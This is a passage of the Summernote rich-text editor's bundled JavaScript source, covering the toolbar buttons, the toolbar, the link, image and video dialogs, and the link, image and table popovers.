                    contents: _this.ui.dropdownButtonContents(_this.ui.icon(_this.options.icons.textHeight), _this.options),
                    tooltip: _this.lang.font.height,
                    data: {
                        toggle: 'dropdown'
                    }
                }),
                _this.ui.dropdownCheck({
                    items: _this.options.lineHeights,
                    checkClassName: _this.options.icons.menuCheck,
                    className: 'dropdown-line-height',
                    title: _this.lang.font.height,
                    click: _this.context.createInvokeHandler('editor.lineHeight')
                })
            ]).render();
        });
        this.context.memo('button.table', function () {
            return _this.ui.buttonGroup([
                _this.button({
                    className: 'dropdown-toggle',
                    contents: _this.ui.dropdownButtonContents(_this.ui.icon(_this.options.icons.table), _this.options),
                    tooltip: _this.lang.table.table,
                    data: {
                        toggle: 'dropdown'
                    }
                }),
                _this.ui.dropdown({
                    title: _this.lang.table.table,
                    className: 'note-table',
                    items: [
                        '<div class="note-dimension-picker">',
                        '  <div class="note-dimension-picker-mousecatcher" data-event="insertTable" data-value="1x1"/>',
                        '  <div class="note-dimension-picker-highlighted"/>',
                        '  <div class="note-dimension-picker-unhighlighted"/>',
                        '</div>',
                        '<div class="note-dimension-display">1 x 1</div>'
                    ].join('')
                })
            ], {
                callback: function ($node) {
                    var $catcher = $node.find('.note-dimension-picker-mousecatcher');
                    $catcher.css({
                        width: _this.options.insertTableMaxSize.col + 'em',
                        height: _this.options.insertTableMaxSize.row + 'em'
                    }).mousedown(_this.context.createInvokeHandler('editor.insertTable'))
                        .on('mousemove', _this.tableMoveHandler.bind(_this));
                }
            }).render();
        });
        this.context.memo('button.link', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.link),
                tooltip: _this.lang.link.link + _this.representShortcut('linkDialog.show'),
                click: _this.context.createInvokeHandler('linkDialog.show')
            }).render();
        });
        this.context.memo('button.picture', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.picture),
                tooltip: _this.lang.image.image,
                click: _this.context.createInvokeHandler('imageDialog.show')
            }).render();
        });
        this.context.memo('button.video', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.video),
                tooltip: _this.lang.video.video,
                click: _this.context.createInvokeHandler('videoDialog.show')
            }).render();
        });
        this.context.memo('button.hr', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.minus),
                tooltip: _this.lang.hr.insert + _this.representShortcut('insertHorizontalRule'),
                click: _this.context.createInvokeHandler('editor.insertHorizontalRule')
            }).render();
        });
        this.context.memo('button.fullscreen', function () {
            return _this.button({
                className: 'btn-fullscreen',
                contents: _this.ui.icon(_this.options.icons.arrowsAlt),
                tooltip: _this.lang.options.fullscreen,
                click: _this.context.createInvokeHandler('fullscreen.toggle')
            }).render();
        });
        this.context.memo('button.codeview', function () {
            return _this.button({
                className: 'btn-codeview',
                contents: _this.ui.icon(_this.options.icons.code),
                tooltip: _this.lang.options.codeview,
                click: _this.context.createInvokeHandler('codeview.toggle')
            }).render();
        });
        this.context.memo('button.redo', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.redo),
                tooltip: _this.lang.history.redo + _this.representShortcut('redo'),
                click: _this.context.createInvokeHandler('editor.redo')
            }).render();
        });
        this.context.memo('button.undo', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.undo),
                tooltip: _this.lang.history.undo + _this.representShortcut('undo'),
                click: _this.context.createInvokeHandler('editor.undo')
            }).render();
        });
        this.context.memo('button.help', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.question),
                tooltip: _this.lang.options.help,
                click: _this.context.createInvokeHandler('helpDialog.show')
            }).render();
        });
    };
    /**
     * image : [
     *   ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']],
     *   ['float', ['floatLeft', 'floatRight', 'floatNone' ]],
     *   ['remove', ['removeMedia']]
     * ],
     */
    Buttons.prototype.addImagePopoverButtons = function () {
        var _this = this;
        // Image Size Buttons
        this.context.memo('button.imageSize100', function () {
            return _this.button({
                contents: '<span class="note-fontsize-10">100%</span>',
                tooltip: _this.lang.image.resizeFull,
                click: _this.context.createInvokeHandler('editor.resize', '1')
            }).render();
        });
        this.context.memo('button.imageSize50', function () {
            return _this.button({
                contents: '<span class="note-fontsize-10">50%</span>',
                tooltip: _this.lang.image.resizeHalf,
                click: _this.context.createInvokeHandler('editor.resize', '0.5')
            }).render();
        });
        this.context.memo('button.imageSize25', function () {
            return _this.button({
                contents: '<span class="note-fontsize-10">25%</span>',
                tooltip: _this.lang.image.resizeQuarter,
                click: _this.context.createInvokeHandler('editor.resize', '0.25')
            }).render();
        });
        // Float Buttons
        this.context.memo('button.floatLeft', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.alignLeft),
                tooltip: _this.lang.image.floatLeft,
                click: _this.context.createInvokeHandler('editor.floatMe', 'left')
            }).render();
        });
        this.context.memo('button.floatRight', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.alignRight),
                tooltip: _this.lang.image.floatRight,
                click: _this.context.createInvokeHandler('editor.floatMe', 'right')
            }).render();
        });
        this.context.memo('button.floatNone', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.alignJustify),
                tooltip: _this.lang.image.floatNone,
                click: _this.context.createInvokeHandler('editor.floatMe', 'none')
            }).render();
        });
        // Remove Buttons
        this.context.memo('button.removeMedia', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.trash),
                tooltip: _this.lang.image.remove,
                click: _this.context.createInvokeHandler('editor.removeMedia')
            }).render();
        });
    };
    Buttons.prototype.addLinkPopoverButtons = function () {
        var _this = this;
        this.context.memo('button.linkDialogShow', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.link),
                tooltip: _this.lang.link.edit,
                click: _this.context.createInvokeHandler('linkDialog.show')
            }).render();
        });
        this.context.memo('button.unlink', function () {
            return _this.button({
                contents: _this.ui.icon(_this.options.icons.unlink),
                tooltip: _this.lang.link.unlink,
                click: _this.context.createInvokeHandler('editor.unlink')
            }).render();
        });
    };
    /**
     * table : [
     *  ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']],
     *  ['delete', ['deleteRow', 'deleteCol', 'deleteTable']]
     * ],
     */
    Buttons.prototype.addTablePopoverButtons = function () {
        var _this = this;
        this.context.memo('button.addRowUp', function () {
            return _this.button({
                className: 'btn-md',
                contents: _this.ui.icon(_this.options.icons.rowAbove),
                tooltip: _this.lang.table.addRowAbove,
                click: _this.context.createInvokeHandler('editor.addRow', 'top')
            }).render();
        });
        this.context.memo('button.addRowDown', function () {
            return _this.button({
                className: 'btn-md',
                contents: _this.ui.icon(_this.options.icons.rowBelow),
                tooltip: _this.lang.table.addRowBelow,
                click: _this.context.createInvokeHandler('editor.addRow', 'bottom')
            }).render();
        });
        this.context.memo('button.addColLeft', function () {
            return _this.button({
                className: 'btn-md',
                contents: _this.ui.icon(_this.options.icons.colBefore),
                tooltip: _this.lang.table.addColLeft,
                click: _this.context.createInvokeHandler('editor.addCol', 'left')
            }).render();
        });
        this.context.memo('button.addColRight', function () {
            return _this.button({
                className: 'btn-md',
                contents: _this.ui.icon(_this.options.icons.colAfter),
                tooltip: _this.lang.table.addColRight,
                click: _this.context.createInvokeHandler('editor.addCol', 'right')
            }).render();
        });
        this.context.memo('button.deleteRow', function () {
            return _this.button({
                className: 'btn-md',
                contents: _this.ui.icon(_this.options.icons.rowRemove),
                tooltip: _this.lang.table.delRow,
                click: _this.context.createInvokeHandler('editor.deleteRow')
            }).render();
        });
        this.context.memo('button.deleteCol', function () {
            return _this.button({
                className: 'btn-md',
                contents: _this.ui.icon(_this.options.icons.colRemove),
                tooltip: _this.lang.table.delCol,
                click: _this.context.createInvokeHandler('editor.deleteCol')
            }).render();
        });
        this.context.memo('button.deleteTable', function () {
            return _this.button({
                className: 'btn-md',
                contents: _this.ui.icon(_this.options.icons.trash),
                tooltip: _this.lang.table.delTable,
                click: _this.context.createInvokeHandler('editor.deleteTable')
            }).render();
        });
    };
    Buttons.prototype.build = function ($container, groups) {
        for (var groupIdx = 0, groupLen = groups.length; groupIdx < groupLen; groupIdx++) {
            var group = groups[groupIdx];
            var groupName = $$1.isArray(group) ? group[0] : group;
            var buttons = $$1.isArray(group) ? ((group.length === 1) ? [group[0]] : group[1]) : [group];
            var $group = this.ui.buttonGroup({
                className: 'note-' + groupName
            }).render();
            for (var idx = 0, len = buttons.length; idx < len; idx++) {
                var btn = this.context.memo('button.' + buttons[idx]);
                if (btn) {
                    $group.append(typeof btn === 'function' ? btn(this.context) : btn);
                }
            }
            $group.appendTo($container);
        }
    };
    /**
     * @param {jQuery} [$container]
     */
    Buttons.prototype.updateCurrentStyle = function ($container) {
        var _this = this;
        var $cont = $container || this.$toolbar;
        var styleInfo = this.context.invoke('editor.currentStyle');
        this.updateBtnStates($cont, {
            '.note-btn-bold': function () {
                return styleInfo['font-bold'] === 'bold';
            },
            '.note-btn-italic': function () {
                return styleInfo['font-italic'] === 'italic';
            },
            '.note-btn-underline': function () {
                return styleInfo['font-underline'] === 'underline';
            },
            '.note-btn-subscript': function () {
                return styleInfo['font-subscript'] === 'subscript';
            },
            '.note-btn-superscript': function () {
                return styleInfo['font-superscript'] === 'superscript';
            },
            '.note-btn-strikethrough': function () {
                return styleInfo['font-strikethrough'] === 'strikethrough';
            }
        });
        if (styleInfo['font-family']) {
            var fontNames = styleInfo['font-family'].split(',').map(function (name) {
                return name.replace(/[\'\"]/g, '')
                    .replace(/\s+$/, '')
                    .replace(/^\s+/, '');
            });
            var fontName_1 = lists.find(fontNames, this.isFontInstalled.bind(this));
            $cont.find('.dropdown-fontname a').each(function (idx, item) {
                var $item = $$1(item);
                // always compare string to avoid creating another func.
                var isChecked = ($item.data('value') + '') === (fontName_1 + '');
                $item.toggleClass('checked', isChecked);
            });
            $cont.find('.note-current-fontname').text(fontName_1).css('font-family', fontName_1);
        }
        if (styleInfo['font-size']) {
            var fontSize_1 = styleInfo['font-size'];
            $cont.find('.dropdown-fontsize a').each(function (idx, item) {
                var $item = $$1(item);
                // always compare with string to avoid creating another func.
                var isChecked = ($item.data('value') + '') === (fontSize_1 + '');
                $item.toggleClass('checked', isChecked);
            });
            $cont.find('.note-current-fontsize').text(fontSize_1);
        }
        if (styleInfo['line-height']) {
            var lineHeight_1 = styleInfo['line-height'];
            $cont.find('.dropdown-line-height li a').each(function (idx, item) {
                // always compare with string to avoid creating another func.
                var isChecked = ($$1(item).data('value') + '') === (lineHeight_1 + '');
                _this.className = isChecked ? 'checked' : '';
            });
        }
    };
    Buttons.prototype.updateBtnStates = function ($container, infos) {
        var _this = this;
        $$1.each(infos, function (selector, pred) {
            _this.ui.toggleBtnActive($container.find(selector), pred());
        });
    };
    Buttons.prototype.tableMoveHandler = function (event) {
        var PX_PER_EM = 18;
        var $picker = $$1(event.target.parentNode); // target is mousecatcher
        var $dimensionDisplay = $picker.next();
        var $catcher = $picker.find('.note-dimension-picker-mousecatcher');
        var $highlighted = $picker.find('.note-dimension-picker-highlighted');
        var $unhighlighted = $picker.find('.note-dimension-picker-unhighlighted');
        var posOffset;
        // HTML5 with jQuery - e.offsetX is undefined in Firefox
        if (event.offsetX === undefined) {
            var posCatcher = $$1(event.target).offset();
            posOffset = {
                x: event.pageX - posCatcher.left,
                y: event.pageY - posCatcher.top
            };
        }
        else {
            posOffset = {
                x: event.offsetX,
                y: event.offsetY
            };
        }
        var dim = {
            c: Math.ceil(posOffset.x / PX_PER_EM) || 1,
            r: Math.ceil(posOffset.y / PX_PER_EM) || 1
        };
        $highlighted.css({ width: dim.c + 'em', height: dim.r + 'em' });
        $catcher.data('value', dim.c + 'x' + dim.r);
        if (dim.c > 3 && dim.c < this.options.insertTableMaxSize.col) {
            $unhighlighted.css({ width: dim.c + 1 + 'em' });
        }
        if (dim.r > 3 && dim.r < this.options.insertTableMaxSize.row) {
            $unhighlighted.css({ height: dim.r + 1 + 'em' });
        }
        $dimensionDisplay.html(dim.c + ' x ' + dim.r);
    };
    return Buttons;
}());

var Toolbar = /** @class */ (function () {
    function Toolbar(context) {
        this.context = context;
        this.$window = $$1(window);
        this.$document = $$1(document);
        this.ui = $$1.summernote.ui;
        this.$note = context.layoutInfo.note;
        this.$editor = context.layoutInfo.editor;
        this.$toolbar = context.layoutInfo.toolbar;
        this.options = context.options;
        this.followScroll = this.followScroll.bind(this);
    }
    Toolbar.prototype.shouldInitialize = function () {
        return !this.options.airMode;
    };
    Toolbar.prototype.initialize = function () {
        var _this = this;
        this.options.toolbar = this.options.toolbar || [];
        if (!this.options.toolbar.length) {
            this.$toolbar.hide();
        }
        else {
            this.context.invoke('buttons.build', this.$toolbar, this.options.toolbar);
        }
        if (this.options.toolbarContainer) {
            this.$toolbar.appendTo(this.options.toolbarContainer);
        }
        this.changeContainer(false);
        this.$note.on('summernote.keyup summernote.mouseup summernote.change', function () {
            _this.context.invoke('buttons.updateCurrentStyle');
        });
        this.context.invoke('buttons.updateCurrentStyle');
        if (this.options.followingToolbar) {
            this.$window.on('scroll resize', this.followScroll);
        }
    };
    Toolbar.prototype.destroy = function () {
        this.$toolbar.children().remove();
        if (this.options.followingToolbar) {
            this.$window.off('scroll resize', this.followScroll);
        }
    };
    Toolbar.prototype.followScroll = function () {
        if (this.$editor.hasClass('fullscreen')) {
            return false;
        }
        var $toolbarWrapper = this.$toolbar.parent('.note-toolbar-wrapper');
        var editorHeight = this.$editor.outerHeight();
        var editorWidth = this.$editor.width();
        var toolbarHeight = this.$toolbar.height();
        $toolbarWrapper.css({
            height: toolbarHeight
        });
        // check if the web app is currently using another static bar
        var otherBarHeight = 0;
        if (this.options.otherStaticBar) {
            otherBarHeight = $$1(this.options.otherStaticBar).outerHeight();
        }
        var currentOffset = this.$document.scrollTop();
        var editorOffsetTop = this.$editor.offset().top;
        var editorOffsetBottom = editorOffsetTop + editorHeight;
        var activateOffset = editorOffsetTop - otherBarHeight;
        var deactivateOffsetBottom = editorOffsetBottom - otherBarHeight - toolbarHeight;
        if ((currentOffset > activateOffset) && (currentOffset < deactivateOffsetBottom)) {
            this.$toolbar.css({
                position: 'fixed',
                top: otherBarHeight,
                width: editorWidth
            });
        }
        else {
            this.$toolbar.css({
                position: 'relative',
                top: 0,
                width: '100%'
            });
        }
    };
    Toolbar.prototype.changeContainer = function (isFullscreen) {
        if (isFullscreen) {
            this.$toolbar.prependTo(this.$editor);
        }
        else {
            if (this.options.toolbarContainer) {
                this.$toolbar.appendTo(this.options.toolbarContainer);
            }
        }
    };
    Toolbar.prototype.updateFullscreen = function (isFullscreen) {
        this.ui.toggleBtnActive(this.$toolbar.find('.btn-fullscreen'), isFullscreen);
        this.changeContainer(isFullscreen);
    };
    Toolbar.prototype.updateCodeview = function (isCodeview) {
        this.ui.toggleBtnActive(this.$toolbar.find('.btn-codeview'), isCodeview);
        if (isCodeview) {
            this.deactivate();
        }
        else {
            this.activate();
        }
    };
    Toolbar.prototype.activate = function (isIncludeCodeview) {
        var $btn = this.$toolbar.find('button');
        if (!isIncludeCodeview) {
            $btn = $btn.not('.btn-codeview');
        }
        this.ui.toggleBtn($btn, true);
    };
    Toolbar.prototype.deactivate = function (isIncludeCodeview) {
        var $btn = this.$toolbar.find('button');
        if (!isIncludeCodeview) {
            $btn = $btn.not('.btn-codeview');
        }
        this.ui.toggleBtn($btn, false);
    };
    return Toolbar;
}());

var LinkDialog = /** @class */ (function () {
    function LinkDialog(context) {
        this.context = context;
        this.ui = $$1.summernote.ui;
        this.$body = $$1(document.body);
        this.$editor = context.layoutInfo.editor;
        this.options = context.options;
        this.lang = this.options.langInfo;
        context.memo('help.linkDialog.show', this.options.langInfo.help['linkDialog.show']);
    }
    LinkDialog.prototype.initialize = function () {
        var $container = this.options.dialogsInBody ? this.$body : this.$editor;
        var body = [
            '<div class="form-group note-form-group">',
            "<label class=\"note-form-label\">" + this.lang.link.textToDisplay + "</label>",
            '<input class="note-link-text form-control note-form-control  note-input" type="text" />',
            '</div>',
            '<div class="form-group note-form-group">',
            "<label class=\"note-form-label\">" + this.lang.link.url + "</label>",
            '<input class="note-link-url form-control note-form-control note-input" type="text" value="http://" />',
            '</div>',
            !this.options.disableLinkTarget
                ? $$1('<div/>').append(this.ui.checkbox({
                    id: 'sn-checkbox-open-in-new-window',
                    text: this.lang.link.openInNewWindow,
                    checked: true
                }).render()).html()
                : ''
        ].join('');
        var buttonClass = 'btn btn-primary note-btn note-btn-primary note-link-btn';
        var footer = "<button type=\"submit\" href=\"#\" class=\"" + buttonClass + "\" disabled>" + this.lang.link.insert + "</button>";
        this.$dialog = this.ui.dialog({
            className: 'link-dialog',
            title: this.lang.link.insert,
            fade: this.options.dialogsFade,
            body: body,
            footer: footer
        }).render().appendTo($container);
    };
    LinkDialog.prototype.destroy = function () {
        this.ui.hideDialog(this.$dialog);
        this.$dialog.remove();
    };
    LinkDialog.prototype.bindEnterKey = function ($input, $btn) {
        $input.on('keypress', function (event) {
            if (event.keyCode === key.code.ENTER) {
                event.preventDefault();
                $btn.trigger('click');
            }
        });
    };
    /**
     * toggle update button
     */
    LinkDialog.prototype.toggleLinkBtn = function ($linkBtn, $linkText, $linkUrl) {
        this.ui.toggleBtn($linkBtn, $linkText.val() && $linkUrl.val());
    };
    /**
     * Show link dialog and set event handlers on dialog controls.
     *
     * @param {Object} linkInfo
     * @return {Promise}
     */
    LinkDialog.prototype.showLinkDialog = function (linkInfo) {
        var _this = this;
        return $$1.Deferred(function (deferred) {
            var $linkText = _this.$dialog.find('.note-link-text');
            var $linkUrl = _this.$dialog.find('.note-link-url');
            var $linkBtn = _this.$dialog.find('.note-link-btn');
            var $openInNewWindow = _this.$dialog.find('input[type=checkbox]');
            _this.ui.onDialogShown(_this.$dialog, function () {
                _this.context.triggerEvent('dialog.shown');
                // if no url was given, copy text to url
                if (!linkInfo.url) {
                    linkInfo.url = linkInfo.text;
                }
                $linkText.val(linkInfo.text);
                var handleLinkTextUpdate = function () {
                    _this.toggleLinkBtn($linkBtn, $linkText, $linkUrl);
                    // if linktext was modified by keyup,
                    // stop cloning text from linkUrl
                    linkInfo.text = $linkText.val();
                };
                $linkText.on('input', handleLinkTextUpdate).on('paste', function () {
                    setTimeout(handleLinkTextUpdate, 0);
                });
                var handleLinkUrlUpdate = function () {
                    _this.toggleLinkBtn($linkBtn, $linkText, $linkUrl);
                    // display same link on `Text to display` input
                    // when create a new link
                    if (!linkInfo.text) {
                        $linkText.val($linkUrl.val());
                    }
                };
                $linkUrl.on('input', handleLinkUrlUpdate).on('paste', function () {
                    setTimeout(handleLinkUrlUpdate, 0);
                }).val(linkInfo.url);
                if (!env.isSupportTouch) {
                    $linkUrl.trigger('focus');
                }
                _this.toggleLinkBtn($linkBtn, $linkText, $linkUrl);
                _this.bindEnterKey($linkUrl, $linkBtn);
                _this.bindEnterKey($linkText, $linkBtn);
                var isChecked = linkInfo.isNewWindow !== undefined
                    ? linkInfo.isNewWindow : _this.context.options.linkTargetBlank;
                $openInNewWindow.prop('checked', isChecked);
                $linkBtn.one('click', function (event) {
                    event.preventDefault();
                    deferred.resolve({
                        range: linkInfo.range,
                        url: $linkUrl.val(),
                        text: $linkText.val(),
                        isNewWindow: $openInNewWindow.is(':checked')
                    });
                    _this.ui.hideDialog(_this.$dialog);
                });
            });
            _this.ui.onDialogHidden(_this.$dialog, function () {
                // detach events
                $linkText.off('input paste keypress');
                $linkUrl.off('input paste keypress');
                $linkBtn.off('click');
                if (deferred.state() === 'pending') {
                    deferred.reject();
                }
            });
            _this.ui.showDialog(_this.$dialog);
        }).promise();
    };
    /**
     * @param {Object} layoutInfo
     */
    LinkDialog.prototype.show = function () {
        var _this = this;
        var linkInfo = this.context.invoke('editor.getLinkInfo');
        this.context.invoke('editor.saveRange');
        this.showLinkDialog(linkInfo).then(function (linkInfo) {
            _this.context.invoke('editor.restoreRange');
            _this.context.invoke('editor.createLink', linkInfo);
        }).fail(function () {
            _this.context.invoke('editor.restoreRange');
        });
    };
    return LinkDialog;
}());

var LinkPopover = /** @class */ (function () {
    function LinkPopover(context) {
        var _this = this;
        this.context = context;
        this.ui = $$1.summernote.ui;
        this.options = context.options;
        this.events = {
            'summernote.keyup summernote.mouseup summernote.change summernote.scroll': function () {
                _this.update();
            },
            'summernote.disable summernote.dialog.shown': function () {
                _this.hide();
            }
        };
    }
    LinkPopover.prototype.shouldInitialize = function () {
        return !lists.isEmpty(this.options.popover.link);
    };
    LinkPopover.prototype.initialize = function () {
        this.$popover = this.ui.popover({
            className: 'note-link-popover',
            callback: function ($node) {
                var $content = $node.find('.popover-content,.note-popover-content');
                $content.prepend('<span><a target="_blank"></a>&nbsp;</span>');
            }
        }).render().appendTo(this.options.container);
        var $content = this.$popover.find('.popover-content,.note-popover-content');
        this.context.invoke('buttons.build', $content, this.options.popover.link);
    };
    LinkPopover.prototype.destroy = function () {
        this.$popover.remove();
    };
    LinkPopover.prototype.update = function () {
        // Prevent focusing on editable when invoke('code') is executed
        if (!this.context.invoke('editor.hasFocus')) {
            this.hide();
            return;
        }
        var rng = this.context.invoke('editor.createRange');
        if (rng.isCollapsed() && rng.isOnAnchor()) {
            var anchor = dom.ancestor(rng.sc, dom.isAnchor);
            var href = $$1(anchor).attr('href');
            this.$popover.find('a').attr('href', href).html(href);
            var pos = dom.posFromPlaceholder(anchor);
            this.$popover.css({
                display: 'block',
                left: pos.left,
                top: pos.top
            });
        }
        else {
            this.hide();
        }
    };
    LinkPopover.prototype.hide = function () {
        this.$popover.hide();
    };
    return LinkPopover;
}());

var ImageDialog = /** @class */ (function () {
    function ImageDialog(context) {
        this.context = context;
        this.ui = $$1.summernote.ui;
        this.$body = $$1(document.body);
        this.$editor = context.layoutInfo.editor;
        this.options = context.options;
        this.lang = this.options.langInfo;
    }
    ImageDialog.prototype.initialize = function () {
        var $container = this.options.dialogsInBody ? this.$body : this.$editor;
        var imageLimitation = '';
        if (this.options.maximumImageFileSize) {
            var unit = Math.floor(Math.log(this.options.maximumImageFileSize) / Math.log(1024));
            var readableSize = (this.options.maximumImageFileSize / Math.pow(1024, unit)).toFixed(2) * 1 +
                ' ' + ' KMGTP'[unit] + 'B';
            imageLimitation = "<small>" + (this.lang.image.maximumFileSize + ' : ' + readableSize) + "</small>";
        }
        var body = [
            '<div class="form-group note-form-group note-group-select-from-files">',
            '<label class="note-form-label">' + this.lang.image.selectFromFiles + '</label>',
            '<input class="note-image-input note-form-control note-input" ',
            ' type="file" name="files" accept="image/*" multiple="multiple" />',
            imageLimitation,
            '</div>',
            '<div class="form-group note-group-image-url" style="overflow:auto;">',
            '<label class="note-form-label">' + this.lang.image.url + '</label>',
            '<input class="note-image-url form-control note-form-control note-input ',
            ' col-md-12" type="text" />',
            '</div>'
        ].join('');
        var buttonClass = 'btn btn-primary note-btn note-btn-primary note-image-btn';
        var footer = "<button type=\"submit\" href=\"#\" class=\"" + buttonClass + "\" disabled>" + this.lang.image.insert + "</button>";
        this.$dialog = this.ui.dialog({
            title: this.lang.image.insert,
            fade: this.options.dialogsFade,
            body: body,
            footer: footer
        }).render().appendTo($container);
    };
    ImageDialog.prototype.destroy = function () {
        this.ui.hideDialog(this.$dialog);
        this.$dialog.remove();
    };
    ImageDialog.prototype.bindEnterKey = function ($input, $btn) {
        $input.on('keypress', function (event) {
            if (event.keyCode === key.code.ENTER) {
                event.preventDefault();
                $btn.trigger('click');
            }
        });
    };
    ImageDialog.prototype.show = function () {
        var _this = this;
        this.context.invoke('editor.saveRange');
        this.showImageDialog().then(function (data) {
            // [workaround] hide dialog before restore range for IE range focus
            _this.ui.hideDialog(_this.$dialog);
            _this.context.invoke('editor.restoreRange');
            if (typeof data === 'string') {
                _this.context.invoke('editor.insertImage', data);
            }
            else {
                _this.context.invoke('editor.insertImagesOrCallback', data);
            }
        }).fail(function () {
            _this.context.invoke('editor.restoreRange');
        });
    };
    /**
     * show image dialog
     *
     * @param {jQuery} $dialog
     * @return {Promise}
     */
    ImageDialog.prototype.showImageDialog = function () {
        var _this = this;
        return $$1.Deferred(function (deferred) {
            var $imageInput = _this.$dialog.find('.note-image-input');
            var $imageUrl = _this.$dialog.find('.note-image-url');
            var $imageBtn = _this.$dialog.find('.note-image-btn');
            _this.ui.onDialogShown(_this.$dialog, function () {
                _this.context.triggerEvent('dialog.shown');
                // Cloning imageInput to clear element.
                $imageInput.replaceWith($imageInput.clone().on('change', function (event) {
                    deferred.resolve(event.target.files || event.target.value);
                }).val(''));
                $imageBtn.click(function (event) {
                    event.preventDefault();
                    deferred.resolve($imageUrl.val());
                });
                $imageUrl.on('keyup paste', function () {
                    var url = $imageUrl.val();
                    _this.ui.toggleBtn($imageBtn, url);
                }).val('');
                if (!env.isSupportTouch) {
                    $imageUrl.trigger('focus');
                }
                _this.bindEnterKey($imageUrl, $imageBtn);
            });
            _this.ui.onDialogHidden(_this.$dialog, function () {
                $imageInput.off('change');
                $imageUrl.off('keyup paste keypress');
                $imageBtn.off('click');
                if (deferred.state() === 'pending') {
                    deferred.reject();
                }
            });
            _this.ui.showDialog(_this.$dialog);
        });
    };
    return ImageDialog;
}());

/**
 * Image popover module
 *  mouse events that show/hide popover will be handled by Handle.js.
 *  Handle.js will receive the events and invoke 'imagePopover.update'.
 */
var ImagePopover = /** @class */ (function () {
    function ImagePopover(context) {
        var _this = this;
        this.context = context;
        this.ui = $$1.summernote.ui;
        this.editable = context.layoutInfo.editable[0];
        this.options = context.options;
        this.events = {
            'summernote.disable': function () {
                _this.hide();
            }
        };
    }
    ImagePopover.prototype.shouldInitialize = function () {
        return !lists.isEmpty(this.options.popover.image);
    };
    ImagePopover.prototype.initialize = function () {
        this.$popover = this.ui.popover({
            className: 'note-image-popover'
        }).render().appendTo(this.options.container);
        var $content = this.$popover.find('.popover-content,.note-popover-content');
        this.context.invoke('buttons.build', $content, this.options.popover.image);
    };
    ImagePopover.prototype.destroy = function () {
        this.$popover.remove();
    };
    ImagePopover.prototype.update = function (target) {
        if (dom.isImg(target)) {
            var pos = dom.posFromPlaceholder(target);
            var posEditor = dom.posFromPlaceholder(this.editable);
            this.$popover.css({
                display: 'block',
                left: this.options.popatmouse ? event.pageX - 20 : pos.left,
                top: this.options.popatmouse ? event.pageY : Math.min(pos.top, posEditor.top)
            });
        }
        else {
            this.hide();
        }
    };
    ImagePopover.prototype.hide = function () {
        this.$popover.hide();
    };
    return ImagePopover;
}());

var TablePopover = /** @class */ (function () {
    function TablePopover(context) {
        var _this = this;
        this.context = context;
        this.ui = $$1.summernote.ui;
        this.options = context.options;
        this.events = {
            'summernote.mousedown': function (we, e) {
                _this.update(e.target);
            },
            'summernote.keyup summernote.scroll summernote.change': function () {
                _this.update();
            },
            'summernote.disable': function () {
                _this.hide();
            }
        };
    }
    TablePopover.prototype.shouldInitialize = function () {
        return !lists.isEmpty(this.options.popover.table);
    };
    TablePopover.prototype.initialize = function () {
        this.$popover = this.ui.popover({
            className: 'note-table-popover'
        }).render().appendTo(this.options.container);
        var $content = this.$popover.find('.popover-content,.note-popover-content');
        this.context.invoke('buttons.build', $content, this.options.popover.table);
        // [workaround] Disable Firefox's default table editor
        if (env.isFF) {
            document.execCommand('enableInlineTableEditing', false, false);
        }
    };
    TablePopover.prototype.destroy = function () {
        this.$popover.remove();
    };
    TablePopover.prototype.update = function (target) {
        if (this.context.isDisabled()) {
            return false;
        }
        var isCell = dom.isCell(target);
        if (isCell) {
            var pos = dom.posFromPlaceholder(target);
            this.$popover.css({
                display: 'block',
                left: pos.left,
                top: pos.top
            });
        }
        else {
            this.hide();
        }
        return isCell;
    };
    TablePopover.prototype.hide = function () {
        this.$popover.hide();
    };
    return TablePopover;
}());

var VideoDialog = /** @class */ (function () {
    function VideoDialog(context) {
        this.context = context;
        this.ui = $$1.summernote.ui;
        this.$body = $$1(document.body);
        this.$editor = context.layoutInfo.editor;
        this.options = context.options;
        this.lang = this.options.langInfo;
    }
    VideoDialog.prototype.initialize = function () {
        var $container = this.options.dialogsInBody ? this.$body : this.$editor;
        var body = [
            '<div class="form-group note-form-group row-fluid">',
            "<label class=\"note-form-label\">" + this.lang.video.url + " <small class=\"text-muted\">" + this.lang.video.providers + "</small></label>",
            '<input class="note-video-url form-control note-form-control note-input" type="text" />',
            '</div>'
        ].join('');
        var buttonClass = 'btn btn-primary note-btn note-btn-primary note-video-btn';
        var footer = "<button type=\"submit\" href=\"#\" class=\"" + buttonClass + "\" disabled>" + this.lang.video.insert + "</button>";
        this.$dialog = this.ui.dialog({
            title: this.lang.video.insert,
            fade: this.options.dialogsFade,
            body: body,
            footer: footer
        }).render().appendTo($container);
    };
    VideoDialog.prototype.destroy = function () {
        this.ui.hideDialog(this.$dialog);
        this.$dialog.remove();
    };
    VideoDialog.prototype.bindEnterKey = function ($input, $btn) {
        $input.on('keypress', function (event) {
            if (event.keyCode === key.code.ENTER) {
                event.preventDefault();
                $btn.trigger('click');
            }
        });
    };
    VideoDialog.prototype.createVideoNode = function (url) {
        // video url patterns(youtube, instagram, vimeo, dailymotion, youku, mp4, ogg, webm)
        var ytRegExp = /^(?:https?:\/\/)?(?:www\.)?(?:youtu\.be\/|youtube\.com\/(?:embed\/|v\/|watch\?v=|watch\?.+&v=))((\w|-){11})(?:\S+)?$/;
        var ytMatch = url.match(ytRegExp);
        var igRegExp = /(?:www\.|\/\/)instagram\.com\/p\/(.[a-zA-Z0-9_-]*)/;
        var igMatch = url.match(igRegExp);
        var vRegExp = /\/\/vine\.co\/v\/([a-zA-Z0-9]+)/;
        var vMatch = url.match(vRegExp);
        var vimRegExp = /\/\/(player\.)?vimeo\.com\/([a-z]*\/)*(\d+)[?]?.*/;
        var vimMatch = url.match(vimRegExp);
        var dmRegExp = /.+dailymotion.com\/(video|hub)\/([^_]+)[^#]*(#video=([^_&]+))?/;
